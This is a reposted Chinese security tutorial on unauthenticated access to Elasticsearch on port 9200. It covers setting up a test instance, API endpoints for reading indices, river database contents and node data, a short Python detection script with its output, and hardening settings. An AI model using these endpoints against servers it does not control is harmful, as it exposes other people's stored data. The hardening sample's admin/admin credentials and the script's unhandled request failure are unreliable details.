Elasticsearch未授權訪問漏洞


Elasticsearch未授權訪問漏洞

Elasticsearch會默認會在9200端口對外開放,用於提供遠程管理數據的功能。

任何連接到服務器端口上的人,都可以調用相關API對服務器上的數據進行任意的增刪改查。

Elasticsearch 安裝

環境:

elasticsearch Win下載地址:elasticsearch-5.5.0

Ser2008:JDK 1.7+、IP地址:192.168.1.6

解壓 elasticsearch,進入 bin 目錄,雙擊執行 elasticsearch.bat(等待20s作用服務才啟動)

訪問 http://localhost:9200/ ,出現以下頁面,說明安裝成功。

局域網訪問需要在 config/elasticsearch.yml文件中添加:

network.host: 0.0.0.0 #表示所有用戶可訪問 即遠程訪問

漏洞復現

安裝了river之后可以同步多種數據庫數據(包括關系型的mysql、mongodb等)。
http://localhost:9200/_cat/indices 里面的indices包含了_river一般就是安裝了river了。

http://localhost:9200/_plugin/head/ web管理界面
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search 查看數據庫敏感信息
http://localhost:9200/_nodes 查看節點數據

訪問 http://192.168.1.6:9200/_cat/ 可以看到

檢測腳本:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests

def Elasticsearch_check(ip, port=9200, timeout=5):
    try:
        url = "http://"+ip+":"+str(port)+"/_cat"
        response = requests.get(url)
    except:
        pass
    if "_cat/master" in response.content:
        print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)

Elasticsearch_check('192.168.1.6')
➜  elasticsearch python poc.py
[+] Elasticsearch Unauthorized: 192.168.1.6:9200

加固方案

1.限制IP訪問,綁定固定IP

config/elasticsearch.yml中設置

http.basic.ipwhitelist: ["localhost", "127.0.0.1"]	#本地地址或其他IP

2.在config/elasticsearch.yml中為9200端口設置認證:

http.basic.enabled: true #開關,開啟會接管全部HTTP連接
http.basic.user: "admin" #賬號
http.basic.password: "admin" #密碼


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM